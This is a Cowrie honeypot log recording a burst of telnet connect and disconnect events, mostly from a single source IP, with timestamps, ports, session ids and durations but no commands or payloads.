{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45856,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd38cf3fa404","protocol":"telnet","message":"New connection: 162.55.233.176:45856 (159.203.135.109:23) [session: fd38cf3fa404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:49.038577Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:49.080590Z","src_ip":"38.137.11.14","session":"7a16f525775f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.37129497528076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:49.242204Z","src_ip":"162.55.233.176","session":"b90a0de43d32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.3802008628845215,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:49.849427Z","src_ip":"206.189.32.23","session":"b39692cb6bf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45864,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cfaa18590a4","protocol":"telnet","message":"New connection: 162.55.233.176:45864 (159.203.135.109:23) [session: 7cfaa18590a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:49.881543Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45866,"dst_ip":"159.203.135.109","dst_port":23,"session":"74c8edfadf01","protocol":"telnet","message":"New connection: 162.55.233.176:45866 (159.203.135.109:23) [session: 74c8edfadf01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:50.504488Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45876,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b422ff6e50b","protocol":"telnet","message":"New connection: 162.55.233.176:45876 (159.203.135.109:23) [session: 2b422ff6e50b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:50.531963Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45886,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a3aac484196","protocol":"telnet","message":"New connection: 162.55.233.176:45886 (159.203.135.109:23) [session: 8a3aac484196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:50.611537Z"}
{"eventid":"cowrie.session.closed","duration":32.93040084838867,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:50.967069Z","src_ip":"162.55.233.176","session":"90b0e2dbe119","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33979058265686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:51.256785Z","src_ip":"162.55.233.176","session":"dd0dc5e1ad2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45890,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcaba670cc0b","protocol":"telnet","message":"New connection: 162.55.233.176:45890 (159.203.135.109:23) [session: bcaba670cc0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:51.596568Z"}
{"eventid":"cowrie.session.closed","duration":33.955066442489624,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:51.660595Z","src_ip":"162.55.233.176","session":"fbff48716a4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45898,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1128eb25351","protocol":"telnet","message":"New connection: 162.55.233.176:45898 (159.203.135.109:23) [session: b1128eb25351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:51.961292Z"}
{"eventid":"cowrie.session.closed","duration":33.63817644119263,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:51.966210Z","src_ip":"162.55.233.176","session":"4fbd4611f095","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.273653745651245,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:52.204301Z","src_ip":"162.55.233.176","session":"2a6df4c5653b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45904,"dst_ip":"159.203.135.109","dst_port":23,"session":"aff527fa0306","protocol":"telnet","message":"New connection: 162.55.233.176:45904 (159.203.135.109:23) [session: aff527fa0306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:52.383347Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45906,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1f59860acab","protocol":"telnet","message":"New connection: 162.55.233.176:45906 (159.203.135.109:23) [session: e1f59860acab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:52.408421Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45918,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5598c510219","protocol":"telnet","message":"New connection: 162.55.233.176:45918 (159.203.135.109:23) [session: f5598c510219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:52.582673Z"}
{"eventid":"cowrie.session.closed","duration":36.12240505218506,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:52.615891Z","src_ip":"162.55.233.176","session":"b5c8b39b068d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.35110831260681,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:52.620418Z","src_ip":"162.55.233.176","session":"2fcf946c889f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45934,"dst_ip":"159.203.135.109","dst_port":23,"session":"7078c61c6f54","protocol":"telnet","message":"New connection: 162.55.233.176:45934 (159.203.135.109:23) [session: 7078c61c6f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:52.802581Z"}
{"eventid":"cowrie.session.closed","duration":31.336424112319946,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:52.874495Z","src_ip":"162.55.233.176","session":"f59ed13b009d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45946,"dst_ip":"159.203.135.109","dst_port":23,"session":"4aacce0e5fee","protocol":"telnet","message":"New connection: 162.55.233.176:45946 (159.203.135.109:23) [session: 4aacce0e5fee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:52.879090Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":35208,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd8c41783a2d","protocol":"telnet","message":"New connection: 206.189.32.23:35208 (10.17.0.5:23) [session: fd8c41783a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:52.984231Z"}
{"eventid":"cowrie.session.closed","duration":33.076054096221924,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:52.989562Z","src_ip":"162.55.233.176","session":"97b5031a886d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.65454888343811,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:52.993000Z","src_ip":"162.55.233.176","session":"519d03320225","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45754,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac3ca7ba9a28","protocol":"telnet","message":"New connection: 162.55.233.176:45754 (159.203.135.109:23) [session: ac3ca7ba9a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:53.540460Z"}
{"eventid":"cowrie.session.closed","duration":36.79976797103882,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:54.012029Z","src_ip":"162.55.233.176","session":"619c41403026","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50174,"dst_ip":"10.17.0.5","dst_port":23,"session":"d92259e49e32","protocol":"telnet","message":"New connection: 188.208.141.113:50174 (10.17.0.5:23) [session: d92259e49e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:54.056737Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45766,"dst_ip":"159.203.135.109","dst_port":23,"session":"8906c9190661","protocol":"telnet","message":"New connection: 162.55.233.176:45766 (159.203.135.109:23) [session: 8906c9190661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:54.461464Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45774,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3e7484629b4","protocol":"telnet","message":"New connection: 162.55.233.176:45774 (159.203.135.109:23) [session: c3e7484629b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:54.703738Z"}
{"eventid":"cowrie.session.closed","duration":31.188826084136963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:54.781780Z","src_ip":"162.55.233.176","session":"7b58d2bba024","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.990641832351685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:55.033615Z","src_ip":"162.55.233.176","session":"b14073892b45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.682464599609375,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:55.134278Z","src_ip":"188.208.141.113","session":"46b433e07887","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.17362856864929,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:55.328998Z","src_ip":"206.189.32.23","session":"16f43461eec6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.77667760848999,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:55.820844Z","src_ip":"162.55.233.176","session":"56db2130efb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":35338,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9b97b9d5bf8","protocol":"telnet","message":"New connection: 206.189.32.23:35338 (10.17.0.5:23) [session: f9b97b9d5bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:56.097662Z"}
{"eventid":"cowrie.session.closed","duration":33.864699840545654,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:56.749977Z","src_ip":"162.55.233.176","session":"648c6ffff462","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.65454959869385,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:56.848668Z","src_ip":"206.189.32.23","session":"54a92523121f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50180,"dst_ip":"10.17.0.5","dst_port":23,"session":"85137cc5fe89","protocol":"telnet","message":"New connection: 188.208.141.113:50180 (10.17.0.5:23) [session: 85137cc5fe89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:56.921438Z"}
{"eventid":"cowrie.session.closed","duration":35.03345990180969,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:56.926098Z","src_ip":"162.55.233.176","session":"029c6d96d6e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45788,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d1cefd44cb7","protocol":"telnet","message":"New connection: 162.55.233.176:45788 (159.203.135.109:23) [session: 3d1cefd44cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:57.675940Z"}
{"eventid":"cowrie.session.closed","duration":34.74169874191284,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:57.995750Z","src_ip":"162.55.233.176","session":"d25e93e522f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45804,"dst_ip":"159.203.135.109","dst_port":23,"session":"fed891cc80bc","protocol":"telnet","message":"New connection: 162.55.233.176:45804 (159.203.135.109:23) [session: fed891cc80bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:58.128882Z"}
{"eventid":"cowrie.session.closed","duration":32.293885469436646,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:58.664936Z","src_ip":"162.55.233.176","session":"3f740ad09b7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.459270000457764,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:58.716726Z","src_ip":"162.55.233.176","session":"fe99337c32b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.7340097427368164,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:59.655339Z","src_ip":"188.208.141.113","session":"85137cc5fe89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45810,"dst_ip":"159.203.135.109","dst_port":23,"session":"25d59d7f7ad3","protocol":"telnet","message":"New connection: 162.55.233.176:45810 (159.203.135.109:23) [session: 25d59d7f7ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:00.214799Z"}
{"eventid":"cowrie.session.closed","duration":30.5680513381958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:00.471286Z","src_ip":"162.55.233.176","session":"2bbfda561993","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.84931182861328,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:00.532716Z","src_ip":"162.55.233.176","session":"3ff2ad872436","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45820,"dst_ip":"159.203.135.109","dst_port":23,"session":"d771440b9fed","protocol":"telnet","message":"New connection: 162.55.233.176:45820 (159.203.135.109:23) [session: d771440b9fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:00.847876Z"}
{"eventid":"cowrie.session.closed","duration":37.99022698402405,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:01.191252Z","src_ip":"162.55.233.176","session":"d866f30df758","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45834,"dst_ip":"159.203.135.109","dst_port":23,"session":"8463544dccce","protocol":"telnet","message":"New connection: 162.55.233.176:45834 (159.203.135.109:23) [session: 8463544dccce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:01.649676Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":47986,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc9160ae0afd","protocol":"telnet","message":"New connection: 162.55.233.176:47986 (159.203.135.109:23) [session: dc9160ae0afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:03.198742Z"}
{"eventid":"cowrie.session.closed","duration":3.038827657699585,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:03.253481Z","src_ip":"162.55.233.176","session":"25d59d7f7ad3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48002,"dst_ip":"159.203.135.109","dst_port":23,"session":"c78aaf88e987","protocol":"telnet","message":"New connection: 162.55.233.176:48002 (159.203.135.109:23) [session: c78aaf88e987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:03.308563Z"}
{"eventid":"cowrie.session.closed","duration":32.72476601600647,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:03.415520Z","src_ip":"162.55.233.176","session":"468274c9c944","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48006,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cc2f65e6c0a","protocol":"telnet","message":"New connection: 162.55.233.176:48006 (159.203.135.109:23) [session: 7cc2f65e6c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:03.420754Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48010,"dst_ip":"159.203.135.109","dst_port":23,"session":"51ee192d3ca1","protocol":"telnet","message":"New connection: 162.55.233.176:48010 (159.203.135.109:23) [session: 51ee192d3ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:03.473735Z"}
{"eventid":"cowrie.session.closed","duration":31.81553339958191,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:03.910915Z","src_ip":"162.55.233.176","session":"258e0d6bcc4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76447868347168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:04.093928Z","src_ip":"162.55.233.176","session":"65be5bca9895","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48016,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd4aeb5e2419","protocol":"telnet","message":"New connection: 162.55.233.176:48016 (159.203.135.109:23) [session: dd4aeb5e2419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:04.391897Z"}
{"eventid":"cowrie.session.closed","duration":30.893722772598267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:04.552835Z","src_ip":"162.55.233.176","session":"2af61fa40d24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.196133852005005,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:04.797219Z","src_ip":"162.55.233.176","session":"85aa482c6ab5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.1009738445282,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:04.812019Z","src_ip":"162.55.233.176","session":"039cea89bd2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":48902,"dst_ip":"10.17.0.5","dst_port":23,"session":"b24ff1a7e38f","protocol":"telnet","message":"New connection: 206.189.32.23:48902 (10.17.0.5:23) [session: b24ff1a7e38f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:05.055762Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48032,"dst_ip":"159.203.135.109","dst_port":23,"session":"35e2418fc0af","protocol":"telnet","message":"New connection: 162.55.233.176:48032 (159.203.135.109:23) [session: 35e2418fc0af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:05.353401Z"}
{"eventid":"cowrie.session.closed","duration":41.465641498565674,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:05.387415Z","src_ip":"206.189.32.23","session":"8ff530179843","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.77372360229492,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:05.840236Z","src_ip":"162.55.233.176","session":"bc912aea3efb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.583770990371704,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:06.177067Z","src_ip":"188.208.141.113","session":"5e96ed641226","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48048,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b65919b2e57","protocol":"telnet","message":"New connection: 162.55.233.176:48048 (159.203.135.109:23) [session: 5b65919b2e57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:06.322787Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48056,"dst_ip":"159.203.135.109","dst_port":23,"session":"f965ae6533e2","protocol":"telnet","message":"New connection: 162.55.233.176:48056 (159.203.135.109:23) [session: f965ae6533e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:06.410993Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48060,"dst_ip":"159.203.135.109","dst_port":23,"session":"6021d873a175","protocol":"telnet","message":"New connection: 162.55.233.176:48060 (159.203.135.109:23) [session: 6021d873a175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:06.924109Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":51212,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc873af24393","protocol":"telnet","message":"New connection: 206.189.32.23:51212 (10.17.0.5:23) [session: fc873af24393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:07.092238Z"}
{"eventid":"cowrie.session.closed","duration":34.020862340927124,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:07.163551Z","src_ip":"162.55.233.176","session":"e4b6f61fdff5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48076,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d5b9d92d8b5","protocol":"telnet","message":"New connection: 162.55.233.176:48076 (159.203.135.109:23) [session: 1d5b9d92d8b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:07.281643Z"}
{"eventid":"cowrie.session.closed","duration":37.04262328147888,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:07.776388Z","src_ip":"162.55.233.176","session":"65136ab30a38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":52218,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e275ab2203b","protocol":"telnet","message":"New connection: 206.189.32.23:52218 (10.17.0.5:23) [session: 1e275ab2203b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:07.817263Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48092,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecde03084eb8","protocol":"telnet","message":"New connection: 162.55.233.176:48092 (159.203.135.109:23) [session: ecde03084eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:08.516056Z"}
{"eventid":"cowrie.session.closed","duration":32.89305853843689,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:08.581359Z","src_ip":"162.55.233.176","session":"33f1ce103db6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.729064464569092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:08.600520Z","src_ip":"162.55.233.176","session":"073df6d6e493","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.218414068222046,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:09.607718Z","src_ip":"162.55.233.176","session":"5070f3aece79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.69438719749451,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:09.640534Z","src_ip":"206.189.32.23","session":"094a6eabb3a5","protocol":"telnet"}
